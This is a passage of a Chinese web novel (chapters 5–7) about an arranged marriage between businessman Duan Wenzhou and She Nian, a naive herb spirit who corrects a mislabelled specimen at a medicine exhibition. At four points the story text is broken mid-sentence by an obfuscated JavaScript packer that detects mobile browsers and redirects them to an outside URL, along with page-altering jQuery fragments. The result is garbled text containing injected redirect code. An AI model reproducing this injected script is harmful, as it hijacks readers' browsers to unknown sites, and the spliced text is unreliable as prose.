他没有点破,只是正常吃着饭,时不时照顾一下身边那位夹不到菜,或者想再要一杯饮料的小朋友。 不得不说,佘念的吃相很乖,但也很让人有食欲,是那种吃得很香很适合做吃播的样子,让人忍不住就想多照顾他一点。 一顿晚饭结束后,几人各怀心思,但面上依然和谐地道别。 分开后一上车,段母就再也忍不住了,对佘家故意把傻少爷推出来联姻,还打着冠冕堂皇理由的做法格外不满,气愤不已地说道: “他们佘家简直欺人太甚。” 说什么指腹为婚指的是这孩子,分明就是故意的。 段父虽然没有说话,但从其不虞的脸色也是他对此话是赞同的。 “消消气,佘家那边的为人您二位不是早就知道了吗。” 相比之下,当事人段闻洲却比他们淡定得多,还能笑着反过来安慰他们。 早些年佘毅峰上任后的行事作风就颇为惹人诟病,精于算计又趋炎附势,不复当年佘老爷子的坦荡义气。 “你怎么还这么平静啊,要结婚的可是你!” 看着他这么无所谓的样子,难不成真愿意娶一个傻子回家吗,段母简直又气又急。 “我无所谓啊,是您二老比较急吧。” 段闻洲笑着打趣。 毕竟,现在联姻一事对段家来说是当务之急,尤其是对段父段母来说。 因为最近段家遭遇的危机实在是太多,一是段老爷子身体抱恙,还在医院病房里躺着,二是段氏公司也面临重大转折危机。 介于二老自从退位让段闻洲接手公司后,开始信仰一些迷信,便找人算了一卦,得出最近最好是能有个婚礼为段家冲个喜,这门婚事长期来看,不仅对段闻洲本人,也会对整个段家带来极大的转运。 所以两人第一时间想到了与佘家的娃娃亲。 如果和佘家联姻,一来能做到冲喜,二来也能解决自家马上逼近三十的大龄剩男儿子的婚姻之事,三来还能对外传递出佘段两家合作联手的信号,对段家的股票以及市场预期都有好处,能帮助缓解眼下的资金危机。 而段闻洲能答应父母联姻冲喜这一看起来胡闹的事,主要还是因为最后一点。 “闻洲,如果你不愿意的话,要不我们还是再跟佘家那边沟通一下,让他们把对象换成佘群逸好了。” 段母犹豫了一会后,提议道。 因为联姻一事不论是从哪方面考虑,都肯定是要进行的,对象还是不能将就。 一说到佘群逸,段闻洲就想起人那副目中无人还诡计多端的样子,一看就不是个省油的灯,下意识蹙眉。 相比之下,虽然智商低了点,但本性单纯无害的佘念要好得多。 “没事母亲,就佘念也行,他又不是智商低到生活不能自理的程度,只是心性像个小孩子一样,没准能更省事。” 回想起那双亮晶晶望来的水润眼睛,单纯得仿佛森林深处平静无暇的潭水,窥不见半分心机,段闻洲说道。 反正联姻一事就只是逢场作戏而已,一般没过几年就会分开,又不用投入真感情,只是为了达成目的,与其和一个炸弹一样不省心的人结婚,倒不如选个没歪心思的人。 “确定吗闻洲?虽然说这是我和你妈的提议,但你也不要因此勉强自己。” 段父顿了顿,开口提醒道。 “我确定的父亲,那个佘念其实傻得挺可爱的。” 想起那小孩只露出一双眼睛从被子里看自己,还有披着被子圆滚滚躲在楼梯口偷听的样子,段闻洲不由得莞尔一笑。 见他这么说,又瞧见他嘴角噙着笑意,段父段母互相看了看,不好再说什么,也就默认了。 佘家那边也很意外,没想到段家那边如此顺利地接受了佘念,本来还以为要跟他们扯皮一阵的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707030|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >于是他们也格外积极地配合段家推进联姻的事,一副迫不及待要把包袱丢出去的架势。 段家那边在忙着备婚的事,似乎很急,婚期直接定在了下个月底,从现在起就要做好婚礼的各项准备工作。 而佘毅峰也很忙碌,只不过他忙的并不是商议婚礼的事,因为这方面的事他一概让段家负责,自己则在忙着干坏事。 ——借着和段家联姻的机会,他打着算盘想借亲家的身份,待日后段家真出事了,再从段家身上撕块肉下来,因此在忙着打探消息和拉拢合作伙伴。 所以这段时间很少见到他在家,佘念倒舒服得很。 只不过这几天一直被迫在佘家待着给他憋坏了,他想出门逛逛,好好参观一下人类社会。 于是他学着其他人的样子,找到司机跟人说自己想出门。 “您要去哪里?” 司机问道,看样子最近并没有得到不许人出门的命令。 “去外面!” 佘念双手握拳,仰头认真地说道。 “我知道,您是要去外面哪个地方?” 出了这大门不都是外面吗,司机默默在心底吐槽。 “唔……” 外面就外面,难道还有什么区别吗?佘念调动他没什么常识的小脑袋瓜仔细琢磨。 “去街上。” 想了想后,他竖起手指回答。 “哪条街?” “外面的街。” “具体外面哪条街?” “就是外面的街。” 得到他一脸认真又毫无营养的重复车轱辘话,司机干脆放弃跟这个傻子对话了,索性直接让人上车,把人拉去了市中心最繁华的广场。 “那您请随意逛,我会在不远处守着您,有事可以来找我。” “好呀好呀。” 看着周围的人潮,佘念兴奋地点头,左瞧瞧右看看,仿佛一只出笼的小鸟。 他迈着欢快的步伐,在人来人往的广场逛了起来。 商业广场各类设施都一应俱全,热闹得很,其中一处展览吸引了他的注意。 ——一场中药文化展正在商场的一楼大厅展出。 作为一株蛇舌草,佘念本体就是一种中药材,具有清热利湿,消热解毒的功效,临床上还可用于肿瘤和癌症的治疗,所以眼下他突然在这里看到以同类为主题的文化展,亲切感油然而生。 虽然他也不知道什么是文化展,但还是想进去看看。 于是他迈步向展厅内走去。 “先生您好,请问是来参观展览的吗?您有提前预约吗?” 门口的女生微笑着拦下了他。 “啊…?提前预约是什么?” 见他一脸茫然,女生连忙解释说不是要提前几天的那种预约,而是要扫码购票,还指了指身旁展牌的图案,说要是没预约的话扫一下这个二维码就行。 “扫……用什么扫呀?” 佘念眨了眨眼,还在状况外。 “呃……手机就行。” 看他好像更迷茫了,女生也懵了。 手机,是这个吗? 佘念灵光一闪,掏了出来出门前顺手从枕边拿上的板砖,在得到对面人肯定的答复后,止不住在心底自夸我可真聪明。 只不过手机有了,下一个问题又出现了。 屏幕上,怎么还有个安全锁? 他再次困惑地问眼前的女生: “请问,我的手机密码是什么啊?” 5. 第 5 章 嗯?他刚刚问我什么? 他是问我的手机密码吗?还是他自己的手机密码? 仿佛见了鬼一样,女生上上下下将人打量了一番,以为自己听错了,不确定地问: “请问您刚刚说什么?” “我是想问你,知不知道我的手机密码是多少呀?” 佘念天真地举起手机晃了晃。 “您的手机密码,问我?” “嗯嗯。” 佘念小鸡点头。 “您自己不知道?” “我不知道呀。” 女生:“……” 她的额头有三滴黑线浮现。 自己是遇到傻子了吗?还是遇到人来找茬了,谁家正常人会不知道自己的手机密码,还要跑来问别人的啊! “那个,没有手机扫描预约的话,这边是进不了展厅的,不好意思了。” 秉持着职业素养,女生压下突突直跳的太阳穴,努力挤出一个营业性微笑。 “啊?真的没办法了吗?” 闻言,佘念眼底的光亮一点点熄灭了,圆溜溜的眼睛被眼睑遮住半截,蔫蔫地垂下了头,失望地撅起了嘴成了倒v形。 这委屈巴巴的样子看得女生心都化了,方才的头疼瞬间消失不见,取而代之的是母爱爆棚,可她毕竟也只是个工作人员,在顾客没办法购票预约时帮不了忙。 就在佘念为难时,身后忽然有一个高大的身影笼罩住人,熟悉的声音响起: “你怎么在这里?” 闻言,佘念回头,惊喜地发现来人居然是熟人。 段闻洲,他居然也在这里? ———— 五分钟前,段闻洲正从商场内结束视察准备离开,对陪同的经理叮嘱道: “以后还是要注意品牌管控方面,尽量不要再有影响品牌形象的负面舆论发酵。” 经理点头哈腰应道下次一定注意,表示以后绝不再犯。 ——这处广场是段家名下的产业,由于近期该处产生了一些影响较大的负面舆论,段闻洲便亲自来视察一番整改情况。 只不过在离开商场大楼时,他看到了一个熟悉的身影: 只见前方的展厅门口,佘念不知为何沮丧地在那站着,模样委屈巴巴的,光是看着就让人觉得怎么这么可怜。 “那段总,不如等会您赏个脸,中午一起吃个饭如何?” 已经在市中心最好的那座酒楼定了一桌子菜,经理笑呵呵地提议道。 “抱歉,好意心领了。” 段闻洲歉意地笑了笑,表示自己等会还有其他事要忙,委婉地推脱掉以后就径直朝佘念所在的位置走去。 “变……不对,闻洲哥哥!” 险些喊错称呼,佘念连忙改口。 “你怎么在这,一个人吗?” 段闻洲对他点了点头,算作打招呼,同时不由得在心底纳闷,段家的人怎么会放他一个人出来,在这种人多的地方就不怕他走丢了么? “嗯,我想去看这个展览,但是进不去。” 佘念可怜兮兮地道,说话时眼睛还一眨不眨地盯着展览宣传板,看样子是真的很想去。 接收到来自段闻洲询问的视线后,女孩连忙解释起来: “不是我不让进的,主要是这位先生他没办法扫描购票。” “不能买票?手机没电了吗?” 闻言段闻洲扭头看向人问道。 噢对了,这是个好人来着,没准他可以帮到自己! 想到这,佘念一脸期待地将自己的手机递到了他跟前: “有电的,只是我不记得手机的密码了,你能帮我吗?” “啊…?” 难得的,段闻洲的脸上也浮现出短暂的错愕。 “原来你也不知道吗?” 见他没反应,佘念眼底的期待又熄灭了,失望地收回手机,沮丧极了。 “你很想去看吗?” 段闻洲微微弯腰,轻声问道,而佘念则用力地点了点头,给了十分肯定的答案。 “那我来吧。” 于是他掏出手机,扫了一下牌子上的二维码,为两人分别预约了一张门票。 “请问这样可以了吗?” 他对着女生展示了一下手机界面。 “可以的。” 见状,女生立刻操作给两人核票,然后引着两人从入口进去。 “怎么还发呆?不是说想进去参观吗?” 看着身后的小孩还在原地发呆,段闻洲挑了挑眉。 “诶?我、我可以进去了吗?” 居然这么快就解决了吗?佘念又惊又喜,眼底的光又如星星之火一样亮了起来。 “当然,我已经扫描帮你买票了,再说你这不是已经进来了吗。” 段闻洲笑了笑。 哇,这个闻洲哥哥真的太厉害了,这么轻易就解决了问题 而且好神奇啊,这个板砖一样的手机,居然还能扫什么马,扫了以后就能买票。 佘念不由得在心里感慨道段闻洲是个好人,还有人类社会的神奇,然后乐颠颠地小跑上前跟在他身后进了展厅。 一进入展厅,仿佛误入了水晶宫似的,眼前琳琅满目的玻璃罐立刻吸引了视线。 只见成百上千的玻璃罐中封存着不同的中药材,被整整齐齐地摆放于几人高的展架中,幽绿的灯光从玻璃罐中折射,将透明的玻璃都染成了低饱和度的颜色,充盈着生机的力量,让人仿佛身处梦中的童话世界。 除了玻璃罐中泡着的中药材外,还有一整面墙上挂了满满的标本。 “好漂亮哇。” 站在大厅内,佘念不由得感慨道。 “你很喜欢这些?” 以为他只是被这些庞大数量的玻璃瓶所营造的氛围吸引,段闻洲问道。 “嗯嗯。” 佘念的脸贴在玻璃上,一眨不眨地盯着里面的展品,眼底的光和玻璃罐折射的光线相互辉映,剔透得宛如世界上最漂亮的宝石。 见他快步上前跑到展示柜前参观起来了,段闻洲便也迈步跟上,想着既然已经带人进来了,那就送佛送到西,索性陪着小孩参观完再离开。 此时的展厅内人并不多,不拥挤的大厅正好给了佘念舒适的参观体验。 在这些玻璃罐中,他见到了很多老熟人,几乎所有展出的中药材他都认识。 “认得清这些药材吗?” 段闻洲随口问道。 “嗯,都认识的。” 佘念扭头看向他,毫不迟疑地点点头。 真的假的? 闻言段闻洲还以为着小孩在开玩笑,便随手指了一个玻璃罐问: “那这是什么药材?” “这个是石斛。” 佘念毫不犹豫地回答。 这时段闻洲才注意到玻璃罐最下方有一个透明的贴纸,上面用黑字写着药材的名字,确实是石斛。 “你看到上面的字了?” 他笑着问道。 “我没有,我不看也知道的!” 怎么可能会不认识同类,见自己被误解,佘念鼓着腮帮子,气呼呼地反驳。 大厅正中央的灯光打下,照在头顶,为他蓬松的头发染上边界不清的模糊,看起来更像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707031|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只被气得炸毛的毛绒绒了。 “那这个呢?是什么?” 被自己的联想逗乐,段闻洲又开始逗人,这次还故意伸手遮住了罐子的贴纸。 “这个是黄柏。” 佘念叉腰肯定地道。 见他这么自信,段闻洲好奇地移开手瞥了瞥标签上的内容。 ——居然真的是黄柏。 见状,他来了兴趣,继续考考人,看他什么时候会说错。 “这个呢?” “苦参!” “那这个呢?” “大血藤!” “这个?” “商陆!” 没想到随手点了这么多药材,佘念都答对了,并且几乎不怎么用思考就能说出答案,这让段闻洲有些惊讶。 不过当随手指到最后一个药材时,得到的答案却与介绍不符了。 “很遗憾小朋友,这个答错了,上面写着这个是当归,不是独活。” 段闻洲笑了笑,摇着头遗憾宣布结果。 本以为佘念会沮丧,可没想到他神却十分坚定,急着快跺脚: “不可能,这个就是独活!” 一百年前自己还见过呢!那会它就长在自己旁边的,怎么会认错! “可是这上面的标签不是这么写的。” 段闻洲侧身指给人看,只见上面写的是当归,活血补血调经止痛。 “那就是他们写错了!这个明明就是独活!” 佘念急得挥了挥手,想要证明自己是对的,不想让对面的人误以为自己还会犯这种低级错误。 怎么真的和个小孩子一样,自己的答案和标准答案不一样的时候,就要闹着说是标准答案出错了。 看着人急切的样子,段闻洲哑然失笑。 他本想直接将这事当做一个小插曲接过,不过有一个路过的工作人员注意到这边两人的动静,热情地走过来询问是否有什么需要帮助的。 “你们这个内容写错啦,这个不是当归,是独活。” 不待段闻洲说话,佘念抢先开口。 “啊?可是我们的展览内容都是经过层层审核的,应当是不会有这种低级错误的……” 工作人员一愣,没想到他是来挑刺的,随即委婉地暗示道。 “但是当归不长这样呀,当归断面是黄白色的,头顶的横纹没那么明显,独活的就是灰黄色,有很多横纹——” 佘念立刻提出了不少证据来支持自己的观点。 “可是……” 工作人员不太懂看这些,也不太想为此惊动领导,可见佘念这么笃定,又有些为难。 “抱歉,麻烦你们去核实一下吧,如果有任何问题或者损失,由我来承担责任。” 段闻洲上前一步,单手搭在佘念的肩膀上,表明两人是一起的,并递给了工作人员一张自己的名片。 ——其实他并不是无条件偏袒人,只是按照佘念所说的特征他观察了一下那药材,发现所说的确实吻合,而眼前的工作人员又显然不太想管,于是他这才出面帮坚信自己是正确的小孩一把。 看见名片上写的名字,工作人员认出他是这整个商场的大老板,大惊失色,连忙对着人鞠了一躬,然后脚步匆匆地去汇报负责人了。 “段总,没想到您大驾光临,能亲自来参观我们的展览,还如此细心地指出问题。” 小跑赶来的负责人擦了擦额间的汗,气喘吁吁地道。 “不是我,主要是这位小朋友提出的。” 段闻洲笑着看向佘念。 其实他也想知道最终的答案,想看看佘念说的到底对不对。 6. 第 6 章 “是这位小朋友提出的吗?” 负责人有些诧异,上上下下打量了一番段总身旁这个看上去年纪不大的男孩。 “是我,你们这个就是写错了呀。” 佘念用力地点了一下头,睁大眼睛看来。 明明这小孩看上去就什么都不懂啊,怎么段总这么稳重的人还陪着胡闹。 负责人不由得在心里嘟囔着,但面上还是恭恭敬敬地应下: “好的,我们这就让人去核实。” 没想到这不核不要紧,一核吓一跳,咨询了一番展览的专业顾问后得到的答案,让负责人吃了一惊。 ——玻璃罐里放着的,还真是独活。 不过据有关工作人员推测,这个罐子应该本就是要放当归的,所以才打印了当归的标签贴上,只不过可能放药材时负责的人员认错了两类药材,这才一不小心放成了独活。 “不好意思,这事是我们工作的失误,感谢您的指正,我们一定会立刻加以改正,并立即核查其余的展览品。” 得到结果的负责人哪还敢和刚才一样小看佘念,当着大老板的面犯了这种低级错误,他额头的汗冒得更多,连手帕都浸湿了。 而佘念完全没有追究他们的意思,而是双手叉腰抬头看向段闻洲: “你看,我就说是弄错了嘛。” “嗯,很棒,你是对的。” 看着他邀功小狗一般满脸写着等夸夸的表情,如果身后有尾巴的话,肯定早就高高翘起来了,段闻洲没忍住弯了弯眼睛,抬手摸了一把他的脑袋。 嗯,软乎乎的,手感不错。 这桩事解决以后,两人也没再为难负责人,人家答应了会整改后段闻洲就让他们下去忙了,自己则继续陪着佘念逛展。 没想到他还真懂一点中药材,段闻洲挑了挑眉,偏头看着人问道: “你看上去好像很熟悉中药相关的知识,是怎么知道这些的?” 当然是因为大家都是之前见过的熟人,见过好多好多次面了,肯定会熟悉的呀。 啊不对,应该说是熟草?因为大家都不是人来着。 佘念在心底想,但是又不能直接这么说,于是琢磨了一会,给了个模糊的答案: “之前都看过的。” 看过?是指在书上之类的地方看到过吗? “是看书学到的吗?” 于是段闻洲追问。 “嗯……” 佘念打哈哈,说什么就怎么应道。 难怪,可能是他刚好看过这方面的书,所以记住了这些中药材的名字,但能记得这么熟练也不一般,看来这孩子也没那么傻。 段闻洲分析着。 挺难得的,根据外面的传言特别是佘家那边传出的消息,外界还一直以为这小孩就是个蠢得生活不能自理的那种傻子,别说看书写字了,大概连正常交流都做不到。 可当实际和人面对面接触过以后才会发现,与其说他傻和笨,倒不如说是无知比较准确,他天真得不像是二十岁的人,更像是五六岁的孩童。 当然,这样的评价并不是带贬义的那方面。 佘念不是笨,也有学习能力,看上去更像是对外界的事物一无所知,所以才会表现出和常人不同的处事风格,价值观也不一样。 就像是白纸一样,心性单纯又迟钝,什么都不懂,接触到的领域少的可怜,所以在他人看来才会觉得傻。 和他这样的人相处起来应该不难,只是要耐心教给他的东西比较多。 “佘念,你知道什么是结婚吗?” 思及此,段闻洲便想试着和他开门见山地聊一聊联姻的事。 “唔……结婚是什么意思?” 果然,佘念不懂这个词是什么意思,蹙眉努力思考含义,但想不明白遂放弃。 “佘家那边没告诉过你吗?” “没有的,他们不怎么说话。” 佘念摇了摇头。 意思是在家没有人理他,和他说话吗? 段闻洲思索着,解释的语气不由得更耐心了几分: “结婚,就是要一起生活,每天住在一起,每天一起吃饭的意思。” “再重新跟你自我介绍一下,我叫段闻洲,过一段时间,我们两人就要结婚,因为这是家里长辈的安排。” “我们两个,结婚?” 佘念的嘴巴张成一个小小的o型。 “意思是我要住在你家,每天和你一起生活吗?” “是的,如果你不愿意,或者有其他条件的话都可以跟我说,我希望能和你好好相处。” 段闻洲发现了,和佘念沟通似乎并不是一件难事。 得到了人肯定的答复后,佘念先是眼睛微眯起,蹙着眉头,看样子是很用力又费力地在思考,最后似乎是想明白了,眼睛倏地睁开成圆溜溜的模样,眉心舒展,豁然开朗。 他密集的睫毛扇了扇,仰头看向了人: “好呀,我不要住在现在的地方了,我想和你一起住,想和你呆在一起。” ——佘家那帮人一看就不是好东西,还是离他们远一点比较好,相比之下眼前这个会给自己夹菜、会帮自己的哥哥人好多了,一定是个好人,和他一起生活肯定很舒服。 “你不喜欢现在住的地方吗?” 段闻洲好奇。 “不喜欢,一点都不喜欢。” 佘念猛地甩头,跟拨浪鼓一样。 看来佘家对他确实是一点都不好,所以他才会这么直白地表达厌恶,不过看佘家那群人的处事也知道,就不像是会对人好的样子。 想到这,段闻洲对人不由得更怜惜几分,下意识抬手摸了摸人的脑袋。 “好,要不了多久就能接你去我那住了。” 他保证道。 “嗯呐,那你不许反悔。” 能早点离开佘家那几人,肯定能避免以后他们再惹事,按照佘念的小脑袋瓜,盘算也就只能考虑到这一步了,再深入就难为他了。 大概是因为知道了自己可以搬出去的事,在接下来参观展览的时间里,段闻洲能明显感觉到佘念似乎高兴了不少,连走路都是连蹦带跳的,脚步欢快。 看来这小孩还是很容易沟通的,可能本质也不笨,是个很有灵性的小孩。 他不由得在心底想。 当两人参观完毕准备离开展厅时,工作人员忽然快步追了上来: “两位先生请稍等一下。” “怎么了?” 停下脚步,段闻洲回头看向来人问道。 “很抱歉由于我们的失误,今天展厅上的错误影响了您的参观体验,为表歉意,我们送您一份小礼物。” 说着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707032|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,工作人员递来一个小纸袋。 段闻洲替人接过,先一步打开看了看,发现里面放着的是一个中药材标本,大概算是一种纪念品。 同工作人员道了谢接下后,他便交到了佘念手中: “收下吧,是你的,因为发现错误的是你。” 佘念好奇地将标本掏出来看了看,只见黑色的方框宛如相框一样,中间透明的玻璃中装着一株益母草,绿叶点缀着玫紫色的花。 在看清里面的益母草的模样后,佘念大惊失色,眼睛瞪大,直直地盯着手中的标本。 “怎么了?这个标本有什么问题吗?” 察觉到他的表情不太对,段闻洲低头关心地问道。 “这、这个……” 佘念震惊地举起手的标本,伸到人跟前,颤抖着手和声音说。 “嗯?” 难道这个植物有毒吗?段闻洲皱了皱眉,示意他继续说下去。 “这个益母草是我的兄弟啊!之前我们见过的!” 几十年前它就长在自己的旁边!两株草当时还聊过天成了好朋友,只不过后来兄弟被采药的人类摘走了,自己混在一群野草中得以逃过一劫。 朋友!兄弟!好久不见,你怎么成干巴巴的标本了啊—— 回想起和好友的点点滴滴,佘念嘴角向下耷拉着,一副委屈巴巴泫然欲泣的表情。 一旁的段闻洲:……? 和一株药材是朋友?还见过? 在哪见过,田间地头,还是梦里? 但是看小朋友似乎真的很伤心的样子,他又不好开口,只好默默揉了揉人的脑袋,表示自己的“哀思”。 收回自己的前言,这小孩应该还不是太聪明的样子。 ———— 从展馆出来后,佘念十分丝滑地同人道了别,然后就准备拎着“好友”找司机回家。 不过他转身还没迈步,就被后方的人拎住了衣服后领: “去哪?” “我回去呀?” 佘念眨了眨眼,无辜地道。 “你手机修好了吗就回去,我先带你去旁边的店里把手机解锁。” 段闻洲好笑地拉上他走进附近的手机店,对他摊开手掌,示意他把手机拿来。 于是佘念乖乖地将其交出。 花钱让店里的人捣鼓一番后,佘念的手机终于被解开了,设置成了无密码的模式。 “我把我的号码存进你的手机了,日后有的婚礼准备事项我会联系你,或者你有什么事情都可以打电话找我。” 用人的手机拨通了自己的号码后,段闻洲替他将号码存好才还给人。 “谢谢。” 虽然还不太明白他是操作了什么,但佘念直觉他是帮了自己,乖乖道谢。 “那我就先走了,等会还有事情要忙。” 眼见助理已经在微信里提醒一小时后的会议马上要开始,段闻洲确认过佘念也是有司机接送后,就准备离开了。 “诶,那个等一下——” 见他要走了,得了他这么多帮助的佘念连忙拉住人,思索了一会后把手中装着标本的袋子塞给了他。 “我把我的朋友送给你!你拿着吧,今天谢谢你。” 帮了自己这么多,无以为谢,那就顺手把朋友做成的标本当成谢礼送出去好了! 7. 第 7 章 和人道别了坐上车的后座时,段闻洲举起手中的袋子看了看。 朋友?朋友被做成了标本,结果最后还要把朋友送给自己吗? 好好的一个小朋友,怎么还和一株药材交上了朋友,说得跟真见过面似的。 看来他不仅学会的常识比较少,脑回路也很清奇,和其他人不太一样。 不过倒是没有什么心机,心底想的都写在了脸上,非常好懂,不然也不至于在看到这标本的第一眼就委屈得要哭了。 想到这,段闻洲不禁哑然失笑。 “段总,我们是直接回公司吗?” 前座的助理透过车内后视镜看见自家总裁居然在对着一个不值钱的标本笑,诧异过后才小心地出声询问道。 “嗯,出发吧。” 闻言,段闻洲回了神,敛起脸上的笑容,将标本重新放回袋子里。 ———— 自那天从外面回来以后,佘念又独自在家猫了好几天。 当然,是卧室都很少出的那种。 对此佘毅峰满意得很,巴不得他少出来丢人现眼,反正平常是连吃饭都让保姆给人送进卧室的,自己乖乖待在房间不闹腾最好不过,等婚礼过后就把人打包送去段家。 不过这几天佘念可不是在房间里发呆,而是有正事再干。 ——因为他终于学会了如何打开墙上挂着的黑色大方盒。 意外按下了某个按键后,他无心插柳地打开了电视,立刻被屏幕上浮现的画面给吸引住了。 ——没想到人类社会的电视如此有意思! 于是乎,某个深山老林里出来的土狗小蛇舌草,变成了沉迷电视剧的影痴。 电视几乎全天都开着在放,他也一眨不眨地全天在看,哪怕是吃饭的时候也捧着个碗,一边吃一边盯着电视剧。 通过看电视,他又学到了不少关于人类世界的新知识。 比方说,原来之前自己乘坐的可以上下移动的铁皮盒子,叫做电梯。 比方说,那个小方铁块叫做手机,是现代人几乎不离身的工具,有很多功能,但是设置了密码打不开的话就使用不了。 学着电视上的人在手机屏幕上戳戳点点,佘念自己研究了一番后大概弄明白了这个手机该怎么玩,很方便,原来只要点一下上面的图标就能操作了。 只不过他还不太熟悉每一个图标分别有什么功能,这个绿色的泡泡和那个蓝色的爪子有什么区别,可能还需要再琢磨一段时间才能熟能生巧。 再比如,他看了电视才知道,原来人类是不用在土里或者地上睡觉,而是都躺在床上睡觉的。 佘念默默看了看自己之前睡的角落,又默默把视线移到了房间中央的床上。 他小步挪到床边,弯腰对着床左边看看右边瞧瞧,好奇地观察了好一会后,才试探着用手指戳了戳床面。 诶,好软呀,和松松软软的泥土一样。 思索了两秒后,他就噌地一下原地蹦起,然后直直扑到了床上。 他整个人陷入柔软的床垫,然后又被回弹的垫子向上顶回去,甚至还在半空中顿了顿。 真的好软!原来人类是睡在这么舒服的地方的! 沉浸在床垫的怀抱里后,仿佛躺在柔软的云朵里一样,佘念不由得两眼冒星星,开始懊悔自己怎么现在才发现。 就像个贪玩的小孩子似的,他没忍住又在床上蹦了蹦,跟玩蹦蹦床一样。 在他玩得正嗨皮时,手机忽然响起了来电铃声。 他翻身去够手机,看见屏幕上显示着的是段闻洲的名字。 记得电视上是这么接通的来着…… 佘念回忆着电视里的内容,试探性地伸出食指长按着绿色的圆点,然后用力向右缓慢一滑,成功接通了电话。 “喂?” 电话那端传来了段闻洲的声音,低沉又富有磁性,仿佛就是在自己耳边说着话一样。 好神奇,原来手机里面真的能传出别人的声音,佘念两眼放光地聆听着。 ——在电视上看见演员拿着手机接通电话时还觉得很神奇,不依靠任何法术,只靠一个小小的方块居然就能听见远方人所说的话。 亲身体验过后,更是觉得神奇了。 “喂?佘念,能听见我说话吗?” 没得到人的回答,还以为是信号不好,段闻洲便又重复了一遍。 “啊能的能的!” 佘念回过神来,连忙答道。 段闻洲还没来得及问他刚刚怎么没说话,就听见那边的人又感慨道: “好神奇呀,我能听见你说话诶,就好像在我耳边说的一样,你的声音还是和见面时一样好好听呀!” “咳,是吗。” 猝不及防被夸,还是如此真情实感真心实意的夸,非常明显能听出是他的真情流露而不是客套话,段闻洲一下子都被这直球弄得不好意思起来,轻咳两声缓解害羞。 “嗯嗯,是的呀。” 没想到佘念还十分认真地肯定道。 “谢谢,你再这么夸我的话,我都要不好意思了。” 段闻洲轻笑一声。 “实话实说呀,你的声音就是很好听。” 不是夸,是实话实话,佘念纠正道。 “咳,好的,谢谢。” 感觉这个话题再继续下去,没准他真的会一直夸下去了,于是段闻洲清了清嗓子,连忙切入正题。 “对了,我给你打电话,是想问问你明天有没有空。” “有的,我每天都有空的。” 佘念答道,不过随即又想起一件事,马上改了口。 “不过后天晚上可能不太行,我要在家看电视剧的大结局。” “你现在就每天在家看电视吗?” “对的,每天都在看电视。” 其实看的动画片更多,特别是一些少儿启蒙类电话,因为看的是少儿频道。 “那明天早上方便和我一起出来一趟吗,我们要去订一下结婚戒指。” “好啊。” “那就明天早上十点,在我们上次见面的商场怎么样?你就在那边的路标旁等着我,我顺路去接上你。” 其实直接去家里接人最方便,不过由于明天段闻洲在另一地有一个揭牌仪式要参加,结束后去广场那边和人碰面最顺路。 “可以的,那明天见。” “明天见。” 第二天早上,佘念提前找了司机,按照约定的时间准备出门。 “你要去哪里?” 见他又要出门,今天放假坐在客厅里的佘毅峰蹙眉问道。 “闻洲哥哥让我今天去找他。” 怕他刁难自己,佘念如实回答。 “找他做什么?” “说是买戒指。” 戒指?段闻洲居然不是随便准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707033|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备一套尺寸合适的对戒就行,而是还拉上佘念亲自去买? 佘毅峰眼珠子转了转,脸上意味不明。 不过在他看来,佘念的智商相当于五六岁的小孩,即使自己出门也不会有什么问题,可能最多闹点笑话,平常只是因为嫌人麻烦怕丢脸才很少带佘念出现在别人的视线里。 “知道了,你去吧。” 他将目光从人身上收回,淡淡地说道。 “哦。” 佘念并不在意他,说完后就出了门。 司机将他放在了约定地点后就离开了,佘念自己找到了段闻洲所说的路牌下等着。 这路牌就在马路边,还挺显眼,段闻洲过来的时候一眼就能看到下面站着的人,并且临时靠边停一下车就能将人接上。 没过多久,一辆保时捷按照约定的时间出现,摁了一下喇叭提醒佘念。 司机下车给人开门,佘念爬上了车,与后排的段闻洲并肩坐下。 “闻洲哥哥。” 他咧嘴笑了笑,对人打招呼。 而段闻洲微微颔首,算作回应。 